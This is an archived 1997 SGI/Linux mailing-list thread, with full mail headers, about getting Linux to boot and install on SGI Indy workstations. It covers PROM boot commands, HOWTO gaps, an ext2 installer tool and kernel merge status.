From owner-linux@cthulhu.engr.sgi.com  Mon Nov  3 02:33:02 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id CAA84050 for <linux-archive@neteng.engr.sgi.com>; Mon, 3 Nov 1997 02:33:02 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id CAA19780 for linux-list; Mon, 3 Nov 1997 02:30:30 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id CAA19775 for <linux@engr.sgi.com>; Mon, 3 Nov 1997 02:30:28 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id CAA26990
	for <linux@engr.sgi.com>; Mon, 3 Nov 1997 02:30:26 -0800
	env-from (ralf@informatik.uni-koblenz.de)
Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61]) by informatik.uni-koblenz.de (8.8.7/8.6.9) with SMTP id LAA27026 for <linux@engr.sgi.com>; Mon, 3 Nov 1997 11:30:24 +0100 (MET)
Received: by thoma (SMI-8.6/KO-2.0)
	id LAA13257; Mon, 3 Nov 1997 11:30:23 +0100
Message-ID: <19971103113022.29017@thoma.uni-koblenz.de>
Date: Mon, 3 Nov 1997 11:30:22 +0100
From: Ralf Baechle <ralf@mailhost.uni-koblenz.de>
To: linux@cthulhu.engr.sgi.com
Subject: howtos.html
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.84e
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 151
Lines: 4

I fixed the description how to install the crosscompiler.  The old
description was incomplete and wrong.  It's still not foolproof, though ...

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Thu Nov  6 10:09:02 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id KAA540684 for <linux-archive@neteng.engr.sgi.com>; Thu, 6 Nov 1997 10:09:02 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id KAA13652 for linux-list; Thu, 6 Nov 1997 10:05:26 -0800
Received: from netghost.engr.sgi.com (netghost.engr.sgi.com [150.166.142.29]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id KAA13647 for <linux@cthulhu.engr.sgi.com>; Thu, 6 Nov 1997 10:05:24 -0800
Received: (from michaelk@localhost) by netghost.engr.sgi.com (970321.SGI.8.8.5/970502.SGI.AUTOCF) id KAA04553 for linux@engr; Thu, 6 Nov 1997 10:05:24 -0800 (PST)
From: "Michael Kaye" <michaelk@netghost.engr.sgi.com>
Message-Id: <9711061005.ZM4557@netghost.engr.sgi.com>
Date: Thu, 6 Nov 1997 10:05:23 -0800
X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail)
To: linux@cthulhu.engr.sgi.com
Subject: Fix your bootloader
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 426
Lines: 9

I am installing linux on an indy for the first time. I was following the
instructions on http://www.linux.sgi.com/faq.html when I noticed the
instructions where not complete.  It talks about "Fixing your bootloader".  I
assume it is talking about NVRAM and the PROM Monitor, but I can not find
anything in the man pages.  I found bootfile, bootmode and boottune, but no
bootloader.  Any ideas what to do at this point?

-- 
 

From owner-linux@cthulhu.engr.sgi.com  Sat Nov  8 17:16:37 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id RAA111376 for <linux-archive@neteng.engr.sgi.com>; Sat, 8 Nov 1997 17:16:37 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA00829 for linux-list; Sat, 8 Nov 1997 17:15:17 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA00821; Sat, 8 Nov 1997 17:15:10 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA29504; Sat, 8 Nov 1997 17:15:09 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (centre.swanlink.ukuu.org.uk [137.44.10.205]) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id BAA25182; Sun, 9 Nov 1997 01:14:54 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xUL0I-0005GQC; Sun, 9 Nov 97 00:13 GMT
Message-Id: <m0xUL0I-0005GQC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: Fix your bootloader
To: michaelk@netghost.engr.sgi.com (Michael Kaye)
Date: Sun, 9 Nov 1997 00:13:26 +0000 (GMT)
Cc: linux@cthulhu.engr.sgi.com
In-Reply-To: <9711061005.ZM4557@netghost.engr.sgi.com> from "Michael Kaye" at Nov 6, 97 10:05:23 am
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 632
Lines: 15

> I am installing linux on an indy for the first time. I was following the
> instructions on http://www.linux.sgi.com/faq.html when I noticed the
> instructions where not complete.  It talks about "Fixing your bootloader".  I
> assume it is talking about NVRAM and the PROM Monitor, but I can not find
> anything in the man pages.  I found bootfile, bootmode and boottune, but no
> bootloader.  Any ideas what to do at this point?

Turn the box on from cold, bang escape repeatedly as it boots until you get
a screen with about 6 icons and a mouse pointer. Click on the command line
one and do

boot /vmlinux options-go-here

Alan


From owner-linux@cthulhu.engr.sgi.com  Wed Nov 12 13:48:16 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA44760 for <linux-archive@neteng.engr.sgi.com>; Wed, 12 Nov 1997 13:48:15 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA26703 for linux-list; Wed, 12 Nov 1997 13:43:22 -0800
Received: from odin.corp.sgi.com (fddi-odin.corp.sgi.com [198.29.75.194]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA26689 for <linux@engr.sgi.com>; Wed, 12 Nov 1997 13:43:21 -0800
Received: from oz.engr.sgi.com by odin.corp.sgi.com via ESMTP (951211.SGI.8.6.12.PATCH1502/951211.SGI)
	 id NAA08363; Wed, 12 Nov 1997 13:31:59 -0800
Received: (from ariel@localhost) by oz.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) id NAA21427; Wed, 12 Nov 1997 13:31:43 -0800 (PST)
From: ariel@oz.engr.sgi.com (Ariel Faigon)
Message-Id: <199711122131.NAA21427@oz.engr.sgi.com>
Subject: Re: SGI / Linux
To: paulp@netco.com (Paul Prawdiuk)
Date: Wed, 12 Nov 1997 13:31:42 -0800 (PST)
Cc: linux@cthulhu.engr.sgi.com (SGI/Linux mailing list)
In-Reply-To: <Pine.SGI.3.96.971112144846.4419A-100000@anubis.netco.com> from "Paul Prawdiuk" at Nov 12, 97 02:54:35 pm
Reply-To: ariel@cthulhu.engr.sgi.com (Ariel Faigon)
Organization: Silicon Graphics Inc.
X-Mailer: ELM [version 2.4 PL24 ME5a]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 2400
Lines: 86

Paul,

[Ccing the Linux mailing list]

Thanks for offering to help. 

If you can get your hands on an experimental Indy and write
a good HOWTO on how to get Linux running on it it'll be
a long way to make what we have usable for many more people.

In order to do that you should:

	1) Subscribe to our mailing list:
		To: majordomo@engr.sgi.com
		Body:
		subscribe linux username@your.domain

	2) Grep the archive for multiple relevant postings
		http://reality.sgi.com/ariel/linux.gz

There are two ways to boot:

	1) Remotely (bootp) all filesystem remote
	   (relatively easy, but slow)

	2) Create local efs or e2fs filesystems and boot
	   from local disk. This is preferred but currently
	   requires some bootstrapping complex steps
	   (and completing the efs linux support by Mike Shaver)

1) Is partly (and possibly inaccurately) documented
2) Is black art, never documented

Ideally we would like to tell people:
"To boot Linux on your Indy all you need is a spare SCSI disk
 (so you can keep all your IRIX stuff) and here's the HOWTO"

In short a dual boot system (IRIX/Linux) that is easy to setup.

www.linux.sgi.com still doesn't have a really easy HOWTO
on how to get there.

Lastly: if your organization is a big SGI customer and is in
interested in seeing Linux work, we'll be happy to hear more
details (e.g why?).

--
Peace, Ariel


:
:*Documentation: complete and easy to understand SGI/Linux HOWTOs
:*A lot more userland porting - get to a bona-fide Red Hat like 
:distribution. 
:
:* Tell a little about yourself, your expertise, and projects you've worked
:on in the past.
:
:Paul Prawdiuk / Network Engineer. I work on networks on a large scale.
:Projects have all been network related.
:
:* What would you like to work on?  
:I am sure I could work on documentation for this project.
:I might also be able to port a few applications. I am not a programmer by
:trade but do have some programming skills.
:
:* How much time can you invest in it (per day/week)? 
:Not sure, it is to be determined.
:
:* How long do you think it would take you to complete? 
:See above.
:
:* What help would you need from us 
:Not much. My company uses a ton of SGI stuff including lots of O2 and Indy
:machines. 
:
:* notes
:I should be able to get an Indy to work on. 
:I would really love to see this for O2 boxes.
:
:PS. Is their plans for the new portable file system?
:


-- 
Peace, Ariel

From owner-linux@cthulhu.engr.sgi.com  Wed Nov 12 14:29:18 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA49340 for <linux-archive@neteng.engr.sgi.com>; Wed, 12 Nov 1997 14:29:18 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA12964 for linux-list; Wed, 12 Nov 1997 14:26:17 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA12877; Wed, 12 Nov 1997 14:26:10 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA07458; Wed, 12 Nov 1997 14:26:08 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id WAA23702; Wed, 12 Nov 1997 22:26:02 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xVlI4-0005FtC; Wed, 12 Nov 97 22:29 GMT
Message-Id: <m0xVlI4-0005FtC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: SGI / Linux
To: ariel@cthulhu.engr.sgi.com
Date: Wed, 12 Nov 1997 22:29:40 +0000 (GMT)
Cc: paulp@netco.com, linux@cthulhu.engr.sgi.com
In-Reply-To: <199711122131.NAA21427@oz.engr.sgi.com> from "Ariel Faigon" at Nov 12, 97 01:31:42 pm
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 810
Lines: 24

> 	1) Remotely (bootp) all filesystem remote
> 	   (relatively easy, but slow)
> 
> 	2) Create local efs or e2fs filesystems and boot
> 	   from local disk. This is preferred but currently
> 	   requires some bootstrapping complex steps
> 	   (and completing the efs linux support by Mike Shaver)

	3) Alan's semi-mythical and slightly buggy ext2installer tool

	This is the one that should ideally get documented - and debugged 8)

	I'll put some bits up soon, but because the tools have to work
	with file definitions different to the host OS, its a horrible
	horrible hack.

On other points anyone currently working on merging to 2.1.63, and the
status on the dynamic link bugs and X11 - Any chance of a serverless
XFree86 build set for the SGI yet - that'll let me build most of the
remaining RPMs


Alan


From owner-linux@cthulhu.engr.sgi.com  Wed Nov 12 15:03:47 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA52150 for <linux-archive@neteng.engr.sgi.com>; Wed, 12 Nov 1997 15:03:46 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA27584 for linux-list; Wed, 12 Nov 1997 15:00:14 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA27416; Wed, 12 Nov 1997 15:00:06 -0800
Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA18001; Wed, 12 Nov 1997 14:59:58 -0800
	env-from (adevries@engsoc.carleton.ca)
Received: from localhost (adevries@localhost)
	by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id RAA17458;
	Wed, 12 Nov 1997 17:59:27 -0500
Date: Wed, 12 Nov 1997 17:59:27 -0500 (EST)
From: Alex deVries <adevries@engsoc.carleton.ca>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
cc: ariel@cthulhu.engr.sgi.com, paulp@netco.com, linux@cthulhu.engr.sgi.com
Subject: Re: SGI / Linux
In-Reply-To: <m0xVlI4-0005FtC@lightning.swansea.linux.org.uk>
Message-ID: <Pine.LNX.3.95.971112175736.19371E-100000@lager.engsoc.carleton.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 170
Lines: 9


On Wed, 12 Nov 1997, Alan Cox wrote:
> 
> 	3) Alan's semi-mythical and slightly buggy ext2installer tool

Where can I get a copy of the semi-real portion of this?

- A


From owner-linux@cthulhu.engr.sgi.com  Wed Nov 12 15:25:35 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA54024 for <linux-archive@neteng.engr.sgi.com>; Wed, 12 Nov 1997 15:25:35 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA06534 for linux-list; Wed, 12 Nov 1997 15:22:43 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA06520; Wed, 12 Nov 1997 15:22:41 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA25519; Wed, 12 Nov 1997 15:22:37 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id XAA24751; Wed, 12 Nov 1997 23:22:23 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xVmAd-0005FsC; Wed, 12 Nov 97 23:26 GMT
Message-Id: <m0xVmAd-0005FsC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: SGI / Linux
To: adevries@engsoc.carleton.ca (Alex deVries)
Date: Wed, 12 Nov 1997 23:26:02 +0000 (GMT)
Cc: alan@lxorguk.ukuu.org.uk, ariel@cthulhu.engr.sgi.com, paulp@netco.com,
        linux@cthulhu.engr.sgi.com
In-Reply-To: <Pine.LNX.3.95.971112175736.19371E-100000@lager.engsoc.carleton.ca> from "Alex deVries" at Nov 12, 97 05:59:27 pm
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 260
Lines: 8

> > 	3) Alan's semi-mythical and slightly buggy ext2installer tool
> Where can I get a copy of the semi-real portion of this?

I'll put one up tomorrow so long as everyone promises not to be rude about
the code. Its based on the Mac68K linux installer.

Alan


From owner-linux@cthulhu.engr.sgi.com  Wed Nov 12 15:37:40 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA58724 for <linux-archive@neteng.engr.sgi.com>; Wed, 12 Nov 1997 15:37:39 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA11181 for linux-list; Wed, 12 Nov 1997 15:34:43 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA11157 for <linux@engr.sgi.com>; Wed, 12 Nov 1997 15:34:37 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA29023
	for <linux@engr.sgi.com>; Wed, 12 Nov 1997 15:34:35 -0800
	env-from (ralf@hotel.uni-koblenz.de)
From: ralf@hotel.uni-koblenz.de
Received: from hotel.uni-koblenz.de (ralf@pmport-03.uni-koblenz.de [141.26.249.3]) by informatik.uni-koblenz.de (8.8.7/8.6.9) with ESMTP id AAA04969; Thu, 13 Nov 1997 00:34:04 +0100 (MET)
Received: (from ralf@localhost)
	by hotel.uni-koblenz.de (8.8.7/8.8.7) id AAA12363;
	Thu, 13 Nov 1997 00:31:04 +0100
Message-ID: <19971113003104.35826@hotel.uni-koblenz.de>
Date: Thu, 13 Nov 1997 00:31:04 +0100
To: Alan Cox <alan@lxorguk.ukuu.org.uk>, linux@cthulhu.engr.sgi.com
Subject: Re: SGI / Linux
References: <199711122131.NAA21427@oz.engr.sgi.com> <m0xVlI4-0005FtC@lightning.swansea.linux.org.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <m0xVlI4-0005FtC@lightning.swansea.linux.org.uk>; from Alan Cox on Wed, Nov 12, 1997 at 10:29:40PM +0000
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 767
Lines: 16

On Wed, Nov 12, 1997 at 10:29:40PM +0000, Alan Cox wrote:
> On other points anyone currently working on merging to 2.1.63, and the
> status on the dynamic link bugs and X11 - Any chance of a serverless
> XFree86 build set for the SGI yet - that'll let me build most of the
> remaining RPMs

Miguel has done some work on X.  The problem with X is that the dynamic
linker as currently in the CVS on Linus won't work with X.  There are a
couple more of features in the dynamic linker that want to be fixed; I
have a kind of semifixes for them.

I'm going to merge things upto 2.1.63 when I've fixed some other things.
During the semester holidays I fixed a large number of bugs in the MIPS
code but broke support for another machine, my favorite testing box ...

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Thu Nov 13 14:44:36 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA398914 for <linux-archive@neteng.engr.sgi.com>; Thu, 13 Nov 1997 14:44:35 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA11777 for linux-list; Thu, 13 Nov 1997 14:42:55 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA11673; Thu, 13 Nov 1997 14:42:34 -0800
Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA01678; Thu, 13 Nov 1997 14:42:27 -0800
	env-from (adevries@engsoc.carleton.ca)
Received: from localhost (adevries@localhost)
	by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id RAA02545;
	Thu, 13 Nov 1997 17:41:40 -0500
Date: Thu, 13 Nov 1997 17:41:40 -0500 (EST)
From: Alex deVries <adevries@engsoc.carleton.ca>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
cc: ariel@cthulhu.engr.sgi.com, paulp@netco.com, linux@cthulhu.engr.sgi.com
Subject: Re: SGI / Linux
In-Reply-To: <m0xVmAd-0005FsC@lightning.swansea.linux.org.uk>
Message-ID: <Pine.LNX.3.95.971113173913.4779I-100000@lager.engsoc.carleton.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 453
Lines: 15


On Wed, 12 Nov 1997, Alan Cox wrote:
> > > 	3) Alan's semi-mythical and slightly buggy ext2installer tool
> > Where can I get a copy of the semi-real portion of this?
> I'll put one up tomorrow so long as everyone promises not to be rude about
> the code. Its based on the Mac68K linux installer.

We promise.

Uh, how would this fit in with RPM?  Would it be possible to run the Irix
version of RPM to pre-load the packages on an ext2 disk?


- Alex


From owner-linux@cthulhu.engr.sgi.com  Thu Nov 13 15:35:58 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA426453 for <linux-archive@neteng.engr.sgi.com>; Thu, 13 Nov 1997 15:35:58 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA00207 for linux-list; Thu, 13 Nov 1997 15:33:16 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA00172; Thu, 13 Nov 1997 15:33:10 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA17037; Thu, 13 Nov 1997 15:33:08 -0800
	env-from (ralf@hotel.uni-koblenz.de)
Received: from hotel.uni-koblenz.de (ralf@pmport-17.uni-koblenz.de [141.26.249.17])
	by informatik.uni-koblenz.de (8.8.8/8.8.7) with ESMTP id AAA25543;
	Fri, 14 Nov 1997 00:32:48 +0100 (MET)
Received: (from ralf@localhost)
	by hotel.uni-koblenz.de (8.8.7/8.8.7) id AAA26848;
	Fri, 14 Nov 1997 00:29:35 +0100
Message-ID: <19971114002934.41028@hotel.uni-koblenz.de>
Date: Fri, 14 Nov 1997 00:29:34 +0100
From: ralf@uni-koblenz.de
To: Alex deVries <adevries@engsoc.carleton.ca>
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, ariel@cthulhu.engr.sgi.com,
        paulp@netco.com, linux@cthulhu.engr.sgi.com
Subject: Re: SGI / Linux
References: <m0xVmAd-0005FsC@lightning.swansea.linux.org.uk> <Pine.LNX.3.95.971113173913.4779I-100000@lager.engsoc.carleton.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <Pine.LNX.3.95.971113173913.4779I-100000@lager.engsoc.carleton.ca>; from Alex deVries on Thu, Nov 13, 1997 at 05:41:40PM -0500
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 278
Lines: 7

On Thu, Nov 13, 1997 at 05:41:40PM -0500, Alex deVries wrote:
> Uh, how would this fit in with RPM?  Would it be possible to run the Irix
> version of RPM to pre-load the packages on an ext2 disk?

Only with limitations as RPM may try to run Linux batches and programs.

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Thu Nov 13 16:01:09 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id QAA350382 for <linux-archive@neteng.engr.sgi.com>; Thu, 13 Nov 1997 16:01:08 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA08450 for linux-list; Thu, 13 Nov 1997 15:59:15 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA08366; Thu, 13 Nov 1997 15:59:06 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA24482; Thu, 13 Nov 1997 15:59:04 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id XAA20632; Thu, 13 Nov 1997 23:58:30 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xW9Dg-0005FsC; Fri, 14 Nov 97 00:02 GMT
Message-Id: <m0xW9Dg-0005FsC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: SGI / Linux
To: adevries@engsoc.carleton.ca (Alex deVries)
Date: Fri, 14 Nov 1997 00:02:44 +0000 (GMT)
Cc: alan@lxorguk.ukuu.org.uk, ariel@cthulhu.engr.sgi.com, paulp@netco.com,
        linux@cthulhu.engr.sgi.com
In-Reply-To: <Pine.LNX.3.95.971113173913.4779I-100000@lager.engsoc.carleton.ca> from "Alex deVries" at Nov 13, 97 05:41:40 pm
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 604
Lines: 21

> Uh, how would this fit in with RPM?  Would it be possible to run the Irix
> version of RPM to pre-load the packages on an ext2 disk?

The cpio code Im using is actually from Erik's RPM 2.4.8. Conceptually
there is no problem installing RPM's with it. However there are good reasons
why not to - notably the libe2fs code doesnt not have the fragmentation
evasion stuff the real ext2 does.

No I see the install as a variant of that program so something like


fdisk /dev/whatever
mke2fs /dev/dsk/whatever
mklinuxswap /dev/dsk/swapdisk
installer
load some basic cpio's

boot linux - add the rpms.

Alan


From owner-linux@cthulhu.engr.sgi.com  Thu Nov 13 16:01:26 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id QAA426608 for <linux-archive@neteng.engr.sgi.com>; Thu, 13 Nov 1997 16:01:26 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA08504 for linux-list; Thu, 13 Nov 1997 15:59:25 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA08390; Thu, 13 Nov 1997 15:59:08 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA24501; Thu, 13 Nov 1997 15:59:07 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id XAA20636; Thu, 13 Nov 1997 23:58:54 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xW9E4-0005FsC; Fri, 14 Nov 97 00:03 GMT
Message-Id: <m0xW9E4-0005FsC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: SGI / Linux
To: adevries@engsoc.carleton.ca (Alex deVries)
Date: Fri, 14 Nov 1997 00:03:07 +0000 (GMT)
Cc: alan@lxorguk.ukuu.org.uk, ariel@cthulhu.engr.sgi.com, paulp@netco.com,
        linux@cthulhu.engr.sgi.com
